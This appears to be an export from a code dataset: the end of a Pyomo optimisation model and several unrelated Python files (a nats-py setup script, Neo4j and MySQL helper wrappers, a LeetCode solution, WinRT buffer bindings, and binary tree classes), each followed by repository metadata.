m.c212 = Constraint(expr= - m.x534 - m.x535 - m.x536 - m.x537 - m.x538 - m.x539 - m.x540 - m.x541 - m.x542 - m.x543
- m.x544 - m.x545 - m.x546 + m.x673 >= 0)
m.c213 = Constraint(expr=166*m.x632*m.b547 - 166*m.b547*m.x589 + m.x632*m.x589 <= 0)
m.c214 = Constraint(expr=463*m.x633*m.b548 - 463*m.b548*m.x590 + m.x633*m.x590 <= 0)
m.c215 = Constraint(expr=522*m.x634*m.b549 - 522*m.b549*m.x591 + m.x634*m.x591 <= 0)
m.c216 = Constraint(expr=141*m.x635*m.b550 - 141*m.b550*m.x592 + m.x635*m.x592 <= 0)
m.c217 = Constraint(expr=166*m.x636*m.b551 - 166*m.b551*m.x593 + m.x636*m.x593 <= 0)
m.c218 = Constraint(expr=265*m.x637*m.b552 - 265*m.b552*m.x594 + m.x637*m.x594 <= 0)
m.c219 = Constraint(expr=463*m.x638*m.b553 - 463*m.b553*m.x595 + m.x638*m.x595 <= 0)
m.c220 = Constraint(expr=456*m.x639*m.b554 - 456*m.b554*m.x596 + m.x639*m.x596 <= 0)
m.c221 = Constraint(expr=526*m.x640*m.b555 - 526*m.b555*m.x597 + m.x640*m.x597 <= 0)
m.c222 = Constraint(expr=152*m.x641*m.b556 - 152*m.b556*m.x598 + m.x641*m.x598 <= 0)
m.c223 = Constraint(expr=456*m.x642*m.b557 - 456*m.b557*m.x599 + m.x642*m.x599 <= 0)
m.c224 = Constraint(expr=384*m.x643*m.b558 - 384*m.b558*m.x600 + m.x643*m.x600 <= 0)
m.c225 = Constraint(expr=441*m.x644*m.b559 - 441*m.b559*m.x601 + m.x644*m.x601 <= 0)
m.c226 = Constraint(expr=309*m.x645*m.b560 - 309*m.b560*m.x602 + m.x645*m.x602 <= 0)
m.c227 = Constraint(expr=233*m.x646*m.b561 - 233*m.b561*m.x603 + m.x646*m.x603 <= 0)
m.c228 = Constraint(expr=526*m.x647*m.b562 - 526*m.b562*m.x604 + m.x647*m.x604 <= 0)
m.c229 = Constraint(expr=384*m.x648*m.b563 - 384*m.b563*m.x605 + m.x648*m.x605 <= 0)
m.c230 = Constraint(expr=203*m.x649*m.b564 - 203*m.b564*m.x606 + m.x649*m.x606 <= 0)
m.c231 = Constraint(expr=522*m.x650*m.b565 - 522*m.b565*m.x607 + m.x650*m.x607 <= 0)
m.c232 = Constraint(expr=265*m.x651*m.b566 - 265*m.b566*m.x608 + m.x651*m.x608 <= 0)
m.c233 = Constraint(expr=152*m.x652*m.b567 - 152*m.b567*m.x609 + m.x652*m.x609 <= 0)
m.c234 = Constraint(expr=441*m.x653*m.b568 - 441*m.b568*m.x610 + m.x653*m.x610 <= 0)
m.c235 = Constraint(expr=203*m.x654*m.b569 - 203*m.b569*m.x611 + m.x654*m.x611 <= 0)
m.c236 = Constraint(expr=284*m.x655*m.b570 - 284*m.b570*m.x612 + m.x655*m.x612 <= 0)
m.c237 = Constraint(expr=426*m.x656*m.b571 - 426*m.b571*m.x613 + m.x656*m.x613 <= 0)
m.c238 = Constraint(expr=284*m.x657*m.b572 - 284*m.b572*m.x614 + m.x657*m.x614 <= 0)
m.c239 = Constraint(expr=109*m.x658*m.b573 - 109*m.b573*m.x615 + m.x658*m.x615 <= 0)
m.c240 = Constraint(expr=309*m.x659*m.b574 - 309*m.b574*m.x616 + m.x659*m.x616 <= 0)
m.c241 = Constraint(expr=434*m.x660*m.b575 - 434*m.b575*m.x617 + m.x660*m.x617 <= 0)
m.c242 = Constraint(expr=141*m.x661*m.b576 - 141*m.b576*m.x618 + m.x661*m.x618 <= 0)
m.c243 = Constraint(expr=434*m.x662*m.b577 - 434*m.b577*m.x619 + m.x662*m.x619 <= 0)
m.c244 = Constraint(expr=403*m.x663*m.b578 - 403*m.b578*m.x620 + m.x663*m.x620 <= 0)
m.c245 = Constraint(expr=426*m.x664*m.b579 - 426*m.b579*m.x621 + m.x664*m.x621 <= 0)
m.c246 = Constraint(expr=403*m.x665*m.b580 - 403*m.b580*m.x622 + m.x665*m.x622 <= 0)
m.c247 = Constraint(expr=151*m.x666*m.b581 - 151*m.b581*m.x623 + m.x666*m.x623 <= 0)
m.c248 = Constraint(expr=233*m.x667*m.b582 - 233*m.b582*m.x624 + m.x667*m.x624 <= 0)
m.c249 = Constraint(expr=109*m.x668*m.b583 - 109*m.b583*m.x625 + m.x668*m.x625 <= 0)
m.c250 = Constraint(expr=367*m.x669*m.b584 - 367*m.b584*m.x626 + m.x669*m.x626 <= 0)
m.c251 = Constraint(expr=367*m.x670*m.b585 - 367*m.b585*m.x627 + m.x670*m.x627 <= 0)
m.c252 = Constraint(expr=382*m.x671*m.b586 - 382*m.b586*m.x628 + m.x671*m.x628 <= 0)
m.c253 = Constraint(expr=151*m.x672*m.b587 - 151*m.b587*m.x629 + m.x672*m.x629 <= 0)
m.c254 = Constraint(expr=382*m.x673*m.b588 - 382*m.b588*m.x630 + m.x673*m.x630 <= 0)
m.c255 = Constraint(expr= m.x589 + m.x590 + m.x591 + m.x592 + m.x593 + m.x594 + m.x595 + m.x596 + m.x597 + m.x598
+ m.x599 + m.x600 + m.x601 + m.x602 + m.x603 + m.x604 + m.x605 + m.x606 + m.x607 + m.x608
+ m.x609 + m.x610 + m.x611 + m.x612 + m.x613 + m.x614 + m.x615 + m.x616 + m.x617 + m.x618
+ m.x619 + m.x620 + m.x621 + m.x622 + m.x623 + m.x624 + m.x625 + m.x626 + m.x627 + m.x628
+ m.x629 + m.x630 <= 18536)
m.c256 = Constraint(expr= m.x1 + m.x2 + m.x3 + m.x4 + m.x5 + m.x6 + m.x7 + m.x8 + m.x9 + m.x10 + m.x11 + m.x12 + m.x13
- 166*m.b547 <= 0)
m.c257 = Constraint(expr= m.x14 + m.x15 + m.x16 + m.x17 + m.x18 + m.x19 + m.x20 + m.x21 + m.x22 + m.x23 + m.x24
+ m.x25 + m.x26 - 463*m.b548 <= 0)
m.c258 = Constraint(expr= m.x27 + m.x28 + m.x29 + m.x30 + m.x31 + m.x32 + m.x33 + m.x34 + m.x35 + m.x36 + m.x37
+ m.x38 + m.x39 - 522*m.b549 <= 0)
m.c259 = Constraint(expr= m.x40 + m.x41 + m.x42 + m.x43 + m.x44 + m.x45 + m.x46 + m.x47 + m.x48 + m.x49 + m.x50
+ m.x51 + m.x52 - 141*m.b550 <= 0)
m.c260 = Constraint(expr= m.x53 + m.x54 + m.x55 + m.x56 + m.x57 + m.x58 + m.x59 + m.x60 + m.x61 + m.x62 + m.x63
+ m.x64 + m.x65 - 166*m.b551 <= 0)
m.c261 = Constraint(expr= m.x66 + m.x67 + m.x68 + m.x69 + m.x70 + m.x71 + m.x72 + m.x73 + m.x74 + m.x75 + m.x76
+ m.x77 + m.x78 - 265*m.b552 <= 0)
m.c262 = Constraint(expr= m.x79 + m.x80 + m.x81 + m.x82 + m.x83 + m.x84 + m.x85 + m.x86 + m.x87 + m.x88 + m.x89
+ m.x90 + m.x91 - 463*m.b553 <= 0)
m.c263 = Constraint(expr= m.x92 + m.x93 + m.x94 + m.x95 + m.x96 + m.x97 + m.x98 + m.x99 + m.x100 + m.x101 + m.x102
+ m.x103 + m.x104 - 456*m.b554 <= 0)
m.c264 = Constraint(expr= m.x105 + m.x106 + m.x107 + m.x108 + m.x109 + m.x110 + m.x111 + m.x112 + m.x113 + m.x114
+ m.x115 + m.x116 + m.x117 - 526*m.b555 <= 0)
m.c265 = Constraint(expr= m.x118 + m.x119 + m.x120 + m.x121 + m.x122 + m.x123 + m.x124 + m.x125 + m.x126 + m.x127
+ m.x128 + m.x129 + m.x130 - 152*m.b556 <= 0)
m.c266 = Constraint(expr= m.x131 + m.x132 + m.x133 + m.x134 + m.x135 + m.x136 + m.x137 + m.x138 + m.x139 + m.x140
+ m.x141 + m.x142 + m.x143 - 456*m.b557 <= 0)
m.c267 = Constraint(expr= m.x144 + m.x145 + m.x146 + m.x147 + m.x148 + m.x149 + m.x150 + m.x151 + m.x152 + m.x153
+ m.x154 + m.x155 + m.x156 - 384*m.b558 <= 0)
m.c268 = Constraint(expr= m.x157 + m.x158 + m.x159 + m.x160 + m.x161 + m.x162 + m.x163 + m.x164 + m.x165 + m.x166
+ m.x167 + m.x168 + m.x169 - 441*m.b559 <= 0)
m.c269 = Constraint(expr= m.x170 + m.x171 + m.x172 + m.x173 + m.x174 + m.x175 + m.x176 + m.x177 + m.x178 + m.x179
+ m.x180 + m.x181 + m.x182 - 309*m.b560 <= 0)
m.c270 = Constraint(expr= m.x183 + m.x184 + m.x185 + m.x186 + m.x187 + m.x188 + m.x189 + m.x190 + m.x191 + m.x192
+ m.x193 + m.x194 + m.x195 - 233*m.b561 <= 0)
m.c271 = Constraint(expr= m.x196 + m.x197 + m.x198 + m.x199 + m.x200 + m.x201 + m.x202 + m.x203 + m.x204 + m.x205
+ m.x206 + m.x207 + m.x208 - 526*m.b562 <= 0)
m.c272 = Constraint(expr= m.x209 + m.x210 + m.x211 + m.x212 + m.x213 + m.x214 + m.x215 + m.x216 + m.x217 + m.x218
+ m.x219 + m.x220 + m.x221 - 384*m.b563 <= 0)
m.c273 = Constraint(expr= m.x222 + m.x223 + m.x224 + m.x225 + m.x226 + m.x227 + m.x228 + m.x229 + m.x230 + m.x231
+ m.x232 + m.x233 + m.x234 - 203*m.b564 <= 0)
m.c274 = Constraint(expr= m.x235 + m.x236 + m.x237 + m.x238 + m.x239 + m.x240 + m.x241 + m.x242 + m.x243 + m.x244
+ m.x245 + m.x246 + m.x247 - 522*m.b565 <= 0)
m.c275 = Constraint(expr= m.x248 + m.x249 + m.x250 + m.x251 + m.x252 + m.x253 + m.x254 + m.x255 + m.x256 + m.x257
+ m.x258 + m.x259 + m.x260 - 265*m.b566 <= 0)
m.c276 = Constraint(expr= m.x261 + m.x262 + m.x263 + m.x264 + m.x265 + m.x266 + m.x267 + m.x268 + m.x269 + m.x270
+ m.x271 + m.x272 + m.x273 - 152*m.b567 <= 0)
m.c277 = Constraint(expr= m.x274 + m.x275 + m.x276 + m.x277 + m.x278 + m.x279 + m.x280 + m.x281 + m.x282 + m.x283
+ m.x284 + m.x285 + m.x286 - 441*m.b568 <= 0)
m.c278 = Constraint(expr= m.x287 + m.x288 + m.x289 + m.x290 + m.x291 + m.x292 + m.x293 + m.x294 + m.x295 + m.x296
+ m.x297 + m.x298 + m.x299 - 203*m.b569 <= 0)
m.c279 = Constraint(expr= m.x300 + m.x301 + m.x302 + m.x303 + m.x304 + m.x305 + m.x306 + m.x307 + m.x308 + m.x309
+ m.x310 + m.x311 + m.x312 - 284*m.b570 <= 0)
m.c280 = Constraint(expr= m.x313 + m.x314 + m.x315 + m.x316 + m.x317 + m.x318 + m.x319 + m.x320 + m.x321 + m.x322
+ m.x323 + m.x324 + m.x325 - 426*m.b571 <= 0)
m.c281 = Constraint(expr= m.x326 + m.x327 + m.x328 + m.x329 + m.x330 + m.x331 + m.x332 + m.x333 + m.x334 + m.x335
+ m.x336 + m.x337 + m.x338 - 284*m.b572 <= 0)
m.c282 = Constraint(expr= m.x339 + m.x340 + m.x341 + m.x342 + m.x343 + m.x344 + m.x345 + m.x346 + m.x347 + m.x348
+ m.x349 + m.x350 + m.x351 - 109*m.b573 <= 0)
m.c283 = Constraint(expr= m.x352 + m.x353 + m.x354 + m.x355 + m.x356 + m.x357 + m.x358 + m.x359 + m.x360 + m.x361
+ m.x362 + m.x363 + m.x364 - 309*m.b574 <= 0)
m.c284 = Constraint(expr= m.x365 + m.x366 + m.x367 + m.x368 + m.x369 + m.x370 + m.x371 + m.x372 + m.x373 + m.x374
+ m.x375 + m.x376 + m.x377 - 434*m.b575 <= 0)
m.c285 = Constraint(expr= m.x378 + m.x379 + m.x380 + m.x381 + m.x382 + m.x383 + m.x384 + m.x385 + m.x386 + m.x387
+ m.x388 + m.x389 + m.x390 - 141*m.b576 <= 0)
m.c286 = Constraint(expr= m.x391 + m.x392 + m.x393 + m.x394 + m.x395 + m.x396 + m.x397 + m.x398 + m.x399 + m.x400
+ m.x401 + m.x402 + m.x403 - 434*m.b577 <= 0)
m.c287 = Constraint(expr= m.x404 + m.x405 + m.x406 + m.x407 + m.x408 + m.x409 + m.x410 + m.x411 + m.x412 + m.x413
+ m.x414 + m.x415 + m.x416 - 403*m.b578 <= 0)
m.c288 = Constraint(expr= m.x417 + m.x418 + m.x419 + m.x420 + m.x421 + m.x422 + m.x423 + m.x424 + m.x425 + m.x426
+ m.x427 + m.x428 + m.x429 - 426*m.b579 <= 0)
m.c289 = Constraint(expr= m.x430 + m.x431 + m.x432 + m.x433 + m.x434 + m.x435 + m.x436 + m.x437 + m.x438 + m.x439
+ m.x440 + m.x441 + m.x442 - 403*m.b580 <= 0)
m.c290 = Constraint(expr= m.x443 + m.x444 + m.x445 + m.x446 + m.x447 + m.x448 + m.x449 + m.x450 + m.x451 + m.x452
+ m.x453 + m.x454 + m.x455 - 151*m.b581 <= 0)
m.c291 = Constraint(expr= m.x456 + m.x457 + m.x458 + m.x459 + m.x460 + m.x461 + m.x462 + m.x463 + m.x464 + m.x465
+ m.x466 + m.x467 + m.x468 - 233*m.b582 <= 0)
m.c292 = Constraint(expr= m.x469 + m.x470 + m.x471 + m.x472 + m.x473 + m.x474 + m.x475 + m.x476 + m.x477 + m.x478
+ m.x479 + m.x480 + m.x481 - 109*m.b583 <= 0)
m.c293 = Constraint(expr= m.x482 + m.x483 + m.x484 + m.x485 + m.x486 + m.x487 + m.x488 + m.x489 + m.x490 + m.x491
+ m.x492 + m.x493 + m.x494 - 367*m.b584 <= 0)
m.c294 = Constraint(expr= m.x495 + m.x496 + m.x497 + m.x498 + m.x499 + m.x500 + m.x501 + m.x502 + m.x503 + m.x504
+ m.x505 + m.x506 + m.x507 - 367*m.b585 <= 0)
m.c295 = Constraint(expr= m.x508 + m.x509 + m.x510 + m.x511 + m.x512 + m.x513 + m.x514 + m.x515 + m.x516 + m.x517
+ m.x518 + m.x519 + m.x520 - 382*m.b586 <= 0)
m.c296 = Constraint(expr= m.x521 + m.x522 + m.x523 + m.x524 + m.x525 + m.x526 + m.x527 + m.x528 + m.x529 + m.x530
+ m.x531 + m.x532 + m.x533 - 151*m.b587 <= 0)
m.c297 = Constraint(expr= m.x534 + m.x535 + m.x536 + m.x537 + m.x538 + m.x539 + m.x540 + m.x541 + m.x542 + m.x543
+ m.x544 + m.x545 + m.x546 - 382*m.b588 <= 0)
| 53.085288 | 120 | 0.629634 | 13,713 | 74,691 | 3.429447 | 0.081528 | 0.033895 | 0.171472 | 0.267925 | 0.678426 | 0.663605 | 0.663605 | 0.663435 | 0.663435 | 0.136514 | 0 | 0.20453 | 0.164732 | 74,691 | 1,406 | 121 | 53.123044 | 0.549281 | 0.009104 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.00092 | 0 | 0.00092 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c7e1894d1594534627afedcd4ba2104fda1ac3a6 | 927 | py | Python | setup.py | YiuRULE/nats.py | 3a78ba4c385e2069daf5ff560aadc30968af1ccd | [
"Apache-2.0"
] | null | null | null | setup.py | YiuRULE/nats.py | 3a78ba4c385e2069daf5ff560aadc30968af1ccd | [
"Apache-2.0"
] | null | null | null | setup.py | YiuRULE/nats.py | 3a78ba4c385e2069daf5ff560aadc30968af1ccd | [
"Apache-2.0"
] | null | null | null | from setuptools import setup
from nats.aio.client import __version__
EXTRAS = {
'nkeys': ['nkeys'],
}
setup(
name='nats-py',
version=__version__,
description='NATS client for Python',
long_description='Python client for NATS, a lightweight, high-performance cloud native messaging system',
classifiers=[
'Intended Audience :: Developers',
'Programming Language :: Python',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.7',
'Programming Language :: Python :: 3.8',
'Programming Language :: Python :: 3.9',
'Programming Language :: Python :: 3.10'
],
url='https://github.com/nats-io/nats.py',
author='Waldemar Quevedo',
author_email='wally@synadia.com',
license='Apache 2 License',
packages=['nats', 'nats.aio', 'nats.protocol', 'nats.js'],
zip_safe=True,
extras_require=EXTRAS
)
| 29.903226 | 109 | 0.636462 | 103 | 927 | 5.61165 | 0.543689 | 0.197232 | 0.259516 | 0.224913 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015235 | 0.221143 | 927 | 30 | 110 | 30.9 | 0.785319 | 0 | 0 | 0 | 0 | 0 | 0.522114 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.074074 | 0 | 0.074074 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c7ebfcaf02d689a33ed8274d051230038106dff7 | 1,011 | py | Python | neo4j_helper.py | smartaec/OpenBridgeGraph | 61ca64ed339af4e77d928f83934a308277a79d81 | [
"MIT"
] | null | null | null | neo4j_helper.py | smartaec/OpenBridgeGraph | 61ca64ed339af4e77d928f83934a308277a79d81 | [
"MIT"
] | null | null | null | neo4j_helper.py | smartaec/OpenBridgeGraph | 61ca64ed339af4e77d928f83934a308277a79d81 | [
"MIT"
] | null | null | null | from neo4j.v1 import GraphDatabase #neo4j==1.7.0
uri="bolt://localhost:7687"
driver=GraphDatabase.driver(uri, auth=("neo4j", "testneo4j"))
def execute_queries(scripts,message=None):
with driver.session() as session:
tx=session.begin_transaction()
res=tx.run(';'.join(scripts))
tx.commit()
return res
def execute_query(script,message=None):
with driver.session() as session:
return session.run(script,message)
def execute_read(cypher_func,message):
with driver.session() as session:
return session.read_transaction(cypher_func,message)
def execute_write(cypher_func,message):
with driver.session() as session:
return session.write_transaction(cypher_func,message)
def run_query(tx,script):
return tx.run(script)
def print_query(tx,name):
for record in tx.run("MATCH (a:Person)-[:KNOWS]->(f) WHERE a.name = {name} RETURN f.name",name=name):
print(record["f.name"])
return ""
#execute_read(print_query,'Alice') | 29.735294 | 105 | 0.69634 | 139 | 1,011 | 4.956835 | 0.359712 | 0.058055 | 0.098694 | 0.110305 | 0.37881 | 0.288824 | 0.288824 | 0.162554 | 0.162554 | 0.162554 | 0 | 0.014235 | 0.166172 | 1,011 | 34 | 106 | 29.735294 | 0.803084 | 0.04451 | 0 | 0.166667 | 0 | 0.041667 | 0.111917 | 0.046632 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.041667 | 0.041667 | 0.541667 | 0.083333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
4003c8b3ef448fd698e5fde8ffd4368a0004acc2 | 2,250 | py | Python | app/config/cnMysql.py | itay-moav/rahl_commander | 79b9bb7d16f4f9511820d0e0ffcbba6ee8e0e42b | [
"MIT"
] | 1 | 2016-12-19T16:09:02.000Z | 2016-12-19T16:09:02.000Z | app/config/cnMysql.py | itay-moav/rahl_commander | 79b9bb7d16f4f9511820d0e0ffcbba6ee8e0e42b | [
"MIT"
] | 19 | 2015-01-08T18:34:13.000Z | 2018-02-26T14:51:22.000Z | app/config/cnMysql.py | itay-moav/rahl_commander | 79b9bb7d16f4f9511820d0e0ffcbba6ee8e0e42b | [
"MIT"
] | null | null | null | '''
Created on Dec 28, 2021
@author: Itay
Abstracting the DB connection piece
'''
import mysql.connector as My
from app import logging as L
from app import exceptions as exceptions
class Connection():
'''
Abstracting the actions on a DB
'''
def __init__(self, connection_config):
self._debug_connection_info = "{}@{}".format(connection_config['username'],connection_config['host'])
L.info("Trying to connect to {}".format(self._debug_connection_info))
self._connection = My.connect(user=connection_config['username'], password=connection_config['password'],host=connection_config['host'],buffered=True)
def get_connection(self):
return self._connection
def change_db(self,new_db):
connection = self.get_connection()
if connection.database != new_db and new_db:
try:
connection.database = new_db
except My.Error as err:
if err.errno == My.errorcode.ER_BAD_DB_ERROR:
return False
else:
msg = "Error occured while changing DB in mysql connection [{}]".format(err)
L.fatal(msg)
raise exceptions.SQLError(msg)
return True
def cursor(self):
return self.get_connection().cursor()
def commit(self):
return self.get_connection().commit()
def debug_connection(self):
return "server: [{}] database: [{}]".format(self.debug_connection_info,self.get_connection().database)
def execute(self,sql,query_params=()):
L.debug("Running sql [{}]".format(sql))
cursor = self.cursor()
cursor.execute(sql,query_params)
return cursor
def execute_fetchall(self,sql):
cursor = self.execute(sql)
return cursor.fetchall()
def insert_rcom_sql_upgrades(self,db,file_values):
sql = "INSERT IGNORE INTO {}.rcom_sql_upgrades VALUES {}".format(db,file_values)
self.execute(sql)
def mark_complete_rcom_sql_upgrades(self,db,file_name):
sql = sql = "UPDATE {}.rcom_sql_upgrades SET execution_status='completed' WHERE file_name = %s LIMIT 1".format(db)
self.execute(sql,(file_name,)) | 34.615385 | 158 | 0.636444 | 272 | 2,250 | 5.066176 | 0.345588 | 0.069666 | 0.049347 | 0.050073 | 0.123367 | 0.08418 | 0 | 0 | 0 | 0 | 0 | 0.004159 | 0.252 | 2,250 | 65 | 159 | 34.615385 | 0.814617 | 0.047556 | 0 | 0 | 0 | 0 | 0.140028 | 0.013201 | 0 | 0 | 0 | 0 | 0 | 1 | 0.232558 | false | 0.023256 | 0.069767 | 0.093023 | 0.511628 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
401bf5f8c246403323fb3816b89f804ced1d9820 | 547 | py | Python | 2020-05-month-long-challenge/day22.py | jkbockstael/leetcode | 8ef5c907fb153c37dc97f6524493ceca2044ea38 | [
"Unlicense"
] | null | null | null | 2020-05-month-long-challenge/day22.py | jkbockstael/leetcode | 8ef5c907fb153c37dc97f6524493ceca2044ea38 | [
"Unlicense"
] | null | null | null | 2020-05-month-long-challenge/day22.py | jkbockstael/leetcode | 8ef5c907fb153c37dc97f6524493ceca2044ea38 | [
"Unlicense"
] | null | null | null | #!/usr/bin/env python3
# Day 22: Sort Characters By Frequency
#
# Given a string, sort it in decreasing order based on the frequency of
# characters.
import collections
class Solution:
def frequencySort(self, s: str) -> str:
return "".join(map(
lambda t: t[0] * t[1],
collections.Counter(s).most_common(len(s))))
# Tests
assert Solution().frequencySort("tree") in ["eert", "eetr"]
assert Solution().frequencySort("cccaaa") in ["cccaaa", "aaaccc"]
assert Solution().frequencySort("Aabb") in ["bbAa", "bbaA"]
| 27.35 | 71 | 0.659963 | 72 | 547 | 5 | 0.694444 | 0.116667 | 0.225 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011211 | 0.184644 | 547 | 19 | 72 | 28.789474 | 0.795964 | 0.26691 | 0 | 0 | 0 | 0 | 0.106329 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0.111111 | false | 0 | 0.111111 | 0.111111 | 0.444444 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
4027f13cd3b7d7bc0f1afe366ba2f0949bed351e | 805 | py | Python | rotypes/Windows/Storage/Streams/__init__.py | Gliese129/ArknightsAutoHelper | 43971a63da55001ebc55a7e0de56e9364dff04bb | [
"MIT"
] | 18 | 2022-03-18T08:20:28.000Z | 2022-03-31T15:19:15.000Z | rotypes/Windows/Storage/Streams/__init__.py | Gliese129/ArknightsAutoHelper | 43971a63da55001ebc55a7e0de56e9364dff04bb | [
"MIT"
] | 4 | 2021-01-23T13:05:39.000Z | 2021-09-11T14:29:56.000Z | rotypes/Windows/Storage/Streams/__init__.py | Gliese129/ArknightsAutoHelper | 43971a63da55001ebc55a7e0de56e9364dff04bb | [
"MIT"
] | 1 | 2022-03-20T05:52:38.000Z | 2022-03-20T05:52:38.000Z | from ctypes import c_uint32, c_void_p, string_at
from rotypes.idldsl import define_winrt_com_method, GUID
from rotypes.inspectable import IInspectable, IUnknown
@GUID('905a0fef-bc53-11df-8c49-001e4fc686da')
class IBufferByteAccess(IUnknown):
pass
@GUID('905A0FE0-BC53-11DF-8C49-001E4FC686DA')
class IBuffer(IInspectable):
def __len__(self):
return self.Length
def __bytes__(self):
byteaccess = self.astype(IBufferByteAccess)
ptr = byteaccess.Buffer()
return string_at(ptr, len(self))
define_winrt_com_method(IBufferByteAccess, 'Buffer', retval=c_void_p)
define_winrt_com_method(IBuffer, 'get_Capacity', propget=c_uint32)
define_winrt_com_method(IBuffer, 'get_Length', propget=c_uint32)
define_winrt_com_method(IBuffer, 'put_Length', propput=c_uint32)
| 27.758621 | 69 | 0.773913 | 106 | 805 | 5.537736 | 0.424528 | 0.093697 | 0.11925 | 0.170358 | 0.294719 | 0.195911 | 0.139693 | 0.139693 | 0 | 0 | 0 | 0.064194 | 0.129193 | 805 | 28 | 70 | 28.75 | 0.773181 | 0 | 0 | 0 | 0 | 0 | 0.136986 | 0.089664 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0.055556 | 0.166667 | 0.055556 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
403a8f16077fbf7702c11e3631833751b1f7fb2c | 3,367 | py | Python | data-structures/trees/trees/trees.py | bayan-alkhatib/data-structures-and-algorithms-401 | c22e0adf159392a8925f07a36b3083654d3a7002 | [
"MIT"
] | null | null | null | data-structures/trees/trees/trees.py | bayan-alkhatib/data-structures-and-algorithms-401 | c22e0adf159392a8925f07a36b3083654d3a7002 | [
"MIT"
] | 11 | 2021-06-14T00:14:54.000Z | 2021-06-30T00:08:30.000Z | data-structures/trees/trees/trees.py | bayan-alkhatib/data-structures-and-algorithms-401 | c22e0adf159392a8925f07a36b3083654d3a7002 | [
"MIT"
] | 1 | 2021-07-26T11:08:29.000Z | 2021-07-26T11:08:29.000Z | class Node:
def __init__(self,value):
self.value=value
self.left=None
self.right=None
class Binary_Tree:
def __init__(self):
self.root = None
def pre_order(self):
""" root-left-right """
try:
self.values=[]
if self.root == None:
return "Tree is Empty"
def tree(node):
self.values+=[node.value]
if node.left:
tree(node.left)
if node.right:
tree(node.right)
return self.values
return tree(self.root)
except:
return "Error"
def in_order(self):
""" left-node-right"""
try:
self.values=[]
if not self.root:
return "Tree is Empty"
def tree(node):
if node.left:
tree(node.left)
self.values+=[node.value]
if node.right:
tree(node.right)
return self.values
return tree(self.root)
except:
return "Error"
def post_order(self):
""" left-right-node"""
try:
self.values=[]
if not self.root:
return "Tree is Empty"
def tree(node):
if node.left:
tree(node.left)
if node.right:
tree(node.right)
self.values+=[node.value]
return self.values
return tree(self.root)
except:
return "Error"
def max(self):
if not self.root:
return "Tree is Empty"
self.max=self.root.value
def tree(node):
if node.value>self.max:
self.max=node.value
if node.left:
tree(node.left)
if node.right:
tree(node.right)
return self.max
return tree(self.root)
class Binary_Search_Tree(Binary_Tree):
def add(self,value):
'''add value to binery tree '''
if self.root == None:
self.root = Node(value)
else:
current=self.root
while current:
if value < current.value :
if current.left == None:
current.left = Node(value)
break
current = current.left
else:
if current.right == None:
current.right = Node(value)
break
current = current.right
def Contains(self,value):
if self.root==None:
return 'Tree is Empty'
else:
current=self.root
while current:
if current.value==value:
return True
elif value < current.value :
if current.left == None:
return False
current = current.left
else:
if current.right == None:
return False
current = current.right
| 24.223022 | 51 | 0.415206 | 317 | 3,367 | 4.362776 | 0.119874 | 0.092552 | 0.043384 | 0.061461 | 0.68402 | 0.598698 | 0.57773 | 0.472885 | 0.348518 | 0.348518 | 0 | 0 | 0.503119 | 3,367 | 138 | 52 | 24.398551 | 0.826659 | 0.021681 | 0 | 0.727273 | 0 | 0 | 0.02448 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.121212 | false | 0 | 0 | 0 | 0.343434 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
4050379eb6d6d6226db82e9fbcbba3933c358e43 | 718 | py | Python | src/pyramid_debugtoolbar_api_sqlalchemy/__init__.py | jvanasco/pyramid_debugtoolbar_api_sqla | 286a7e4ee32e7dd64f31813c46d59e0651534cbd | [
"MIT"
